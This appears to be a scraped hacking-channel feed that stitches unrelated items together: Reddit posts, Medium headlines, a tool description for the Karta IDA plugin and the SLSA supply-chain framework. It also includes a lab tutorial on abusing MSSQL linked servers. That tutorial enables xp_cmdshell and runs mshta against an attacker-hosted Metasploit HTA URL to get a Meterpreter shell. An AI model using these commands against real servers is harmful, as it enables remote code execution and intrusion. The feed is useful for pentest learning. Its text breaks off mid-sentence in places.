https://b.thumbs.redditmedia.com/GXHQLE03IYBf39DYQcLlrtibEmHR6Mf4no8Yd7E-Cdg.jpg I woke up to a bunch of likes on this post on my own insta profile that I never made. Surprised, how can someone post this using my account? It even had a few likes from my friends and I asked them to see if the likes were automated too. But no, the likes were made by them and only the post was done by someone else

I checked my login activity and there was nothing suspicious. My account is logged in using two devices. My computer and my mobile. Around the time of this post, my computer was turned off.

Does this mean my phone is compromised? I'm still shocked how can someone post this! Any hlep would be appreciated

​

https://preview.redd.it/nxr94950gvm71.png?width=406&format=png&auto=webp&s=5abab9f370d7b4c9b938c60278715129fd84e0d3

submitted by /u/PristineSituation8
[link] [comments]

hacking: security in practice
Bug hunting

I have no experience with hacking but I wanna learn bug hunting. Where should I start learning how to bug hunting? Or better yet where should I start?

submitted by /u/DonYayFromTheBay-A
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Re-Inventing the Hacker Scene and the Information Security Industry Using VR


Continue reading on Medium »

Hacking on Medium
My Journey to OSCP


Continue reading on Medium »

Hacking on Medium
The Art of Malware Development


by 0xSN1PE

Continue reading on Medium »

Hacking on Medium
Pathfinder has been Pwned!


This box was a lot of fun and straight forward thanks to the walkthrough from h4rithd. Yes, I’m using walkthroughs… Honestly though, a lot…

Continue reading on Medium »

Hacking Articles|Raj Chandel's BlogMSSQL for Pentester: Abusing Linked Database
 MSSQL for Pentester: Abusing Linked Database

This article is another addition to our MSSQL for Pentesters series. In this article, we will learn how to create a linked server and exploit it. Introduction to Link Servers

A linked server acts a bridge between two servers. Through a link server database can be viewed/shared/edited by two or more servers that has access to the said database. Data from tables can be joined together and queried through it. Linked Servers are designed for applications that need more flexibility over how data is stored and retrieved. Whether the application uses parallel processing, random queries, or joins between multiple Microsoft Access files, a Linked Server provides a better platform for flexible application development. Data from multiple sources can be added to one table or appended to existing data. You can use a Linked Server in place of an ordinary table like you might do when you make a copy of an existing database table.  Following things can be done via a Link Server:Lab Set-Up

 

We will first set up a link server.  When the MSSQL server is installed, a default server is created on its own. But we need another server so that we can link both of them. So, to create another server, launch the installation process and choose New SQL Server Stand-alone installation or and add features to an existing installationas shown in the image below:Nextbutton as shown in the image below:Perform a new installation of SQL Server 2016and then click on the Nextbutton as shown in the image below:Nextbutton as  shown in the image below:Nextbutton as shown in the image below:Server Configurationdialogue box, make sure the startup is automatic, and then click on the Nextbutton as shown in the image below:Database Engine Configurationdialogue box, select Mixed Modeunder Authentication Modeand give the password f[...]

___________________________
@hacking_Attack
@Hacking_Video

or your server. Click on the Next button as shown in the image below:Closebutton as the installation is now complete; just like shown in the image below:option in the drop-down menu of Authenticationas shown in the image below:OKbutton as shown in the image below:server>Servere Objects>Linked Servers. Right-click on Linked Servers and choose New Linked Server…option from the drop-down menu as shown in the image below:Server Type,choose the Other data source. Choose Microsoft OLE DB Provider from SQL Serverfrom the drop-down menu of Provider. Give your default server as the data source and give the database name in the Catalog. Finally, click on the OKbutton as shown in the image below:RPC and RPC Outare true, as shown in the image below:Exploiting Link Server

 

Enumeration

 

Now our link server is up and ready. As an attacker, we know nothing about the server. So, to enumerate the link server, we will use PowerUpSQL and its following command:Import-Module .\PowerUpSQL.ps1

Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose

 









 

As you can see in the image above, we have instance name, linked server name, and catalog name, among other helpful information. Gaining Access to Linked Server

 

PowerUpSQL & Metasploit

 

Now, to remotely gain access to the linked server, we will use PowerUpSQL and Metasploit. These two tools have proved to be the best tools when it comes to attacking MSSQL Servers.surface area configuration and confirm that XPCmdshell is disabled, as shown in the image below:Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')"

 






 

 

Now that XPCmdshell is enabled, we will use Metasploit to generate a URL with the hta_server exploit, and for this use the following set of commands: 

use exploit/windows/misc/hta_server

set srvhost eth0

exploit

 











 

We have our URL. Now, we will execute this URL via PowerUpSQL so that we can have our Meterpreter session. To deploy the said URL, use the following command:Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "exec master..xp_cmdshell 'mshta.exe http://192.168.1.2:8080/ugfFOJBvO.hta'"

 




[...]

___________________________
@hacking_Attack
@Hacking_Video

Once the command is executed successfully, we will have our meterpreter session as shown in the image below:___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!Karta - Source Code Assisted Fast Binary Matching Plugin For IDA





"Karta" (Russian for "Map") is an IDA Python plugin that identifies and matches open-sourced libraries in a given binary. The plugin uses a unique technique that enables it to support huge binaries (>200,000 functions), with almost no impact on the overall performance.

The matching algorithm is location-driven. This means that it's main focus is to locate the different compiled files, and match each of the file's functions based on their original order within the file. This way, the matching depends on K (number of functions in the open source) instead of N (size of the binary), gaining a significant performance boost as usually N >> K.

We believe that there are 3 main use cases for this IDA plugin:

1. Identifying a list of used open sources (and their versions) when searching for a useful 1-Day
2. Matching the symbols of supported open sources to help reverse engineer a malware
3. Matching the symbols of supported open sources to help reverse engineer a binary / firmware when searching for 0-Days in proprietary code



Read The Docs

https://karta.readthedocs.io/

Installation (Python 3 & IDA >= 7.4)

For the latest versions, using Python 3, simply git clone the repository and run the setup.py installscript. Python 3 is supported since versions v2.0.0 and above.

Installation (Python 2 & IDA < 7.4)

As of the release of IDA 7.4, Karta is only actively developed for IDA 7.4 or newer, and Python 3. Python 2 and older IDA versions are still supported using the release version v1.2.0, which is most probably going to be the last supported version due to python 2.X end of life.

Identifier

Karta's identifier is a smaller plugin that identifies the existence, and fingerprints the versions, of the existing (supported) open source libraries within the binary. No more need to reverse engineer the same open-source library again-and-again, simply run the identifier plugin and get a detailed list of the used open sources. Karta currently supports more than 10 open source libraries, including:

* OpenSSL
* Libpng
* Libjpeg
* NetSNMP
* zlib
* Etc.

Matcher

After identifying the used open sources, one can compile a .JSON configuration file for a specific library (libpng version 1.2.29 for instance). Once compiled, Karta will automatically attempt to match the functions (symbols) of the open source in the loaded binary. In addition, in case your open source used external functions (memcpy, fread, or zlib_inflate), Karta will also attempt to match those external functions as well.

Folder Structure

* src: source directory for the plugin
* configs: pre-supplied *.JSON configuration files (hoping the community will contribute more)
* compilations: compilation tips for generating the configuration files, and lessons from past open sources
* docs: sphinx documentation directory

Additional Reading

* https://research.checkpoint.com/karta-matching-open-sources-in-binaries/
* https://research.checkpoint.com/thumbs-up-using-machine-learning-to-improve-idas-analysis

Credits

This project was developed by me (see contact details below) with help and support from my research group at Check Point (Check Point Research).

Contact (Updated)

This repository was developed and maintained by me, Eyal Itkin, during my years at Check Point Research. Sadly, with my departure of the research group, I will no longer be able to maintain this repository. This is mainly because of the long list of requirements for running all of the regression tests, and the IDA Pro versions that are involved in the process.

Please accept my sincere apology.

@EyalItkin



Download Karta

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
MSSQL for Pentester: Abusing Linked Database

This article is another addition to our MSSQL for Pentesters series. In this article, we will learn how to create a linked server and exploit it. Table of content Introduction to Link Servers Lab Set-Up Exploiting Link Server Enumeration Code Execution with PowerUpSQL & Metasploit Introduction to Link Servers A

The post MSSQL for Pentester: Abusing Linked Database appeared first on Hacking Articles.

Top 5 OSINT Sources for Penetration Testing and Bug Bounties
https://www.reddit.com/r/Pentesting/comments/pm9a88/top_5_osint_sources_for_penetration_testing_and/

___________________________
@hacking_Attack
@Hacking_Video

submitted by /u/smicallef (https://www.reddit.com/user/smicallef)
[link] (https://www.spiderfoot.net/top-5-osint-sources-for-penetration-testing-and-bug-bounties/) [comments] (https://www.reddit.com/r/Pentesting/comments/pm9a88/top_5_osint_sources_for_penetration_testing_and/)

___________________________
@hacking_Attack
@Hacking_Video

$3133.70 Google Dialogflow IDOR Vulnerability

Hey, Amazing Hackers, am Raidh Ĥere, Hope, you all are doing well.Continue reading on Medium »
Read more...

Kali Linux TutorialsSLSA : Supply-chain Levels For Software Artifacts
SLSA (pronounced “salsa”) is security framework from source to service, giving anyone working with software a common language for increasing levels of software security and supply chain integrity.

The best way to read about SLSA is to visit slsa.dev.

What’s in this repo?

The primary content of this repo is the docs/ directory, which contains the core SLSA specification and sources to the slsa.dev website.

You can read SLSA’s documentation here:

* Levels (Defining the framework)

Requirements (How to attain compliance)

Example of use

Our roadmap

Security Levels

Each level provides an increasing degree of confidence, a way to say that software hasn’t been tampered with and can be securely traced back to its source.
LevelDescriptionExample1Documentation of the build processUnsigned provenance2Tamper resistance of the build serviceHosted source/build, signed provenance3Prevents extra resistance to specific threatsSecurity controls on host, non-falsifiable provenance4Highest levels of confidence and trustTwo-party review + hermetic builds
It can take years to achieve the ideal security state – intermediate milestones are important. SLSA guides you through gradually improving the security of your software. Artifacts used in critical infrastructure or vital business operations may want to attain a higher level of security, whereas software that poses a low risk can stop when they’re comfortable.

Detailed Explanation
LevelRequirements0No guarantees. SLSA 0 represents the lack of any SLSA level.1The build process must be fully scripted/automated and generate provenance. Provenance is metadata about how an artifact was built, including the build process, top-level source, and dependencies. Knowing the provenance allows software consumers to make risk-based security decisions. Provenance at SLSA 1 does not protect against tampering, but it offers a basic level of code source identification and can aid in vulnerability management.2Requires using version control and a hosted build service that generates authenticated provenance. These additional requirements give the software consumer greater confidence in the origin of the software. At this level, the provenance prevents tampering to the extent that the build service is trusted. SLSA 2 also provides an easy upgrade path to SLSA 3.3The source and build platforms meet specific standards to guarantee the auditability of the source and the integrity of the provenance respectively. We envision an accreditation process whereby auditors certify that platforms meet the requirements, which consumers can then rely on. SLSA 3 provides much stronger protections against tampering than earlier levels by preventing specific classes of threats, such as cross-build contamination.4Requires two-person review of all changes and a hermetic, reproducible build process. Two-person review is an industry best practice for catching mistakes and deterring bad behavior. Hermetic builds guarantee that the provenance’s list of dependencies is complete. Reproducible builds, though not strictly required, provide many auditability and reliability benefits. Overall, SLSA 4 gives the consumer a high degree of confidence that the software has not been tampered with.
The SLSA level is not transitive (see our FAQs). This makes each artifact’s SLSA rating independent from one another, allowing parallel progress and prioritization based on risk. The level describes the integrity protections of an artifact’s build process and top-level source, but nothing about the artifact’s dependencies. Dependencies have their own SLSA ratings, and it is possible for a SLSA 4 artifact to be built from SLSA 0 dependencies.

Level Requirements

The following table provides a summary of the requirements [...]

___________________________
@hacking_Attack
@Hacking_Video

;for each level.
RequirementSLSA 1SLSA 2SLSA 3SLSA 4Source – Version controlled✓✓✓Source – Verified history✓✓Source – Retained indefinitely18 mo.✓Source – Two-person reviewed✓Build – Scripted build✓✓✓✓Build – Build service✓✓✓Build – Ephemeral environment✓✓Build – Isolated✓✓Build – Parameterless✓Build – Hermetic✓Build – Reproducible○Provenance – Available✓✓✓✓Provenance – Authenticated✓✓✓Provenance – Service generated✓✓✓Provenance – Non-falsifiable✓✓Provenance – Dependencies complete✓Common – Security✓Common – Access✓Common – Superusers✓
○ = required unless there is a justification

Supply Chain Threats

Attacks can occur at every link in a typical software supply chain, and these kinds of attacks are increasingly public, disruptive and costly in today’s environment. In developing SLSA, the requirements for each level are there to specifically mitigate the risk of such known examples.

Many recent high-profile attacks were consequences of supply-chain integrity vulnerabilities, and could have been prevented by SLSA’s framework. For example:
ThreatKnown exampleHow SLSA can helpASubmit bad code to the source repositoryLinux hypocrite commits: Researcher attempted to intentionally introduce vulnerabilities into the Linux kernel via patches on the mailing list.Two-person review caught most, but not all, of the vulnerabilities.BCompromise source control platformPHP: Attacker compromised PHP’s self-hosted git server and injected two malicious commits.A better-protected source code platform would have been a much harder target for the attackers.CBuild with official process but from code not matching source controlWebmin: Attacker modified the build infrastructure to use source files not matching source control.A SLSA-compliant build server would have produced provenance identifying the actual sources used, allowing consumers to detect such tampering.DCompromise build platformSolarWinds: Attacker compromised the build platform and installed an implant that injected malicious behavior during each build.Higher SLSA levels require stronger security controls for the build platform, making it more difficult to compromise and gain persistence.EUse bad dependency (i.e. A-H, recursively)event-stream: Attacker added an innocuous dependency and then later updated the dependency to add malicious behavior. The update did not match the code submitted to GitHub (i.e. attack F).Applying SLSA recursively to all dependencies would have prevented this particular vector, because the provenance would have indicated that it either wasn’t built from a proper builder or that the source did not come from GitHub.FUpload an artifact that was not built by the CI/CD systemCodeCov: Attacker used leaked credentials to upload a malicious artifact to a GCS bucket, from which users download directly.Provenance of the artifact in the GCS bucket would have shown that the artifact was not built in the expected manner from the expected source repo.GCompromise package repositoryAttacks on Package Mirrors: Researcher ran mirrors for several popular package repositories, which could have been used to serve malicious packages.Similar to above (F), provenance of the malicious artifacts would have shown that they were not built as expected or from the expected source repo.HTrick consumer into using bad packageBrowserify typosquatting: Attacker uploaded a malicious package with a similar name as the original.SLSA does not directly address this threat, but provenance linking back to source control can enable and enhance other solutions.
A SLSA level helps give consumers confidence that software has not been tampered with and can be securely traced back to source—something that is difficult, if not impossible, to do with most softwa[...]

___________________________
@hacking_Attack
@Hacking_Video

re today.

Limitations

SLSA can help reduce supply chain threats in a software artifact, but there are limitations.

* There are a significant number of dependencies in the supply chain for mant artifacts. The full graph of dependencies could be intractably large.
* In practice, a team working on security will need to identify and focus on the important components in a supply chain. This can be performed manually, but the effort could be significant.
* An artifact’s SLSA level is not transitive (see our FAQs) and dependencies have their own SLSA ratings. This means that it is possible for a SLSA 4 artifact to be built from SLSA 0 dependencies. So, while the main artifact has strong security, risks may still exist elsewhere. The aggregate of these risks will help software consumers understand how and where to use the SLSA 4 artifact.
* While automation of these tasks will help, it isn’t practical for every software consumer to fully vet the entire graph of every artifact. To close this gap, auditors and accreditation bodies could verify and assert that something meets the SLSA requirements. This could be particularly valuable for closed source software.

As part of our roadmap, we’ll explore how to identify important components, how to determine aggregate risk throughout a supply chain, and the role of accreditation.

Requirements

This document covers all of the detailed requirements for an artifact to meet SLSA. For a broader overview, including basic terminology and threat model, see overview.

Reminder: SLSA is in alpha. The definitions below are not yet finalized and subject to change, particularly SLSA 3-4.

* What is SLSA?
* Definitions
* Source requirements
* Build requirements
* Provenance requirements
* Common requirements

What is SLSA?

SLSA is a set of incrementally adoptable security guidelines, established by industry consensus. The standards set by SLSA are guiding principles for both software producers and consumers: producers can follow the guidelines to make their software more secure, and consumers can make decisions based on a software package’s security posture. SLSA’s four levels are designed to be incremental and actionable, and to protect against specific integrity attacks. SLSA 4 represents the ideal end state, and the lower levels represent milestones with corresponding integrity guarantees.

Terminology

SLSA’s framework addresses every step of the software supply chain – the sequence of steps resulting in the creation of an artifact. We represent a supply chain as a directed acyclic graph of sources, builds, dependencies, and packages. One artifact’s supply chain is a combination of its dependencies’ supply chains plus its own sources and builds.
TermDescriptionExampleArtifactAn immutable blob of data; primarily refers to software, but SLSA can be used for any artifact.A file, a git commit, a directory of files (serialized in some way), a container image, a firmware image.SourceArtifact that was directly authored or reviewed by persons, without modification. It is the beginning of the supply chain; we do not trace the provenance back any further.Git commit (source) hosted on GitHub (platform).BuildProcess that transforms a set of input artifacts into a set of output artifacts. The inputs may be sources, dependencies, or ephemeral build outputs..travis.yml (process) run by Travis CI (platform).PackageArtifact that is “published” for use by others. In the model, it is always the output of a build process, though that build process can be a no-op.Docker image (package) distributed on DockerHub (platform). A ZIP file containing source code is a package, not a source, because it is built from some other source, such as a git commit.DependencyArtifact that is an input to a build process but that is not a source. In the model, it is always a package.Alpine package (package) distrib[...]

___________________________
@hacking_Attack
@Hacking_Video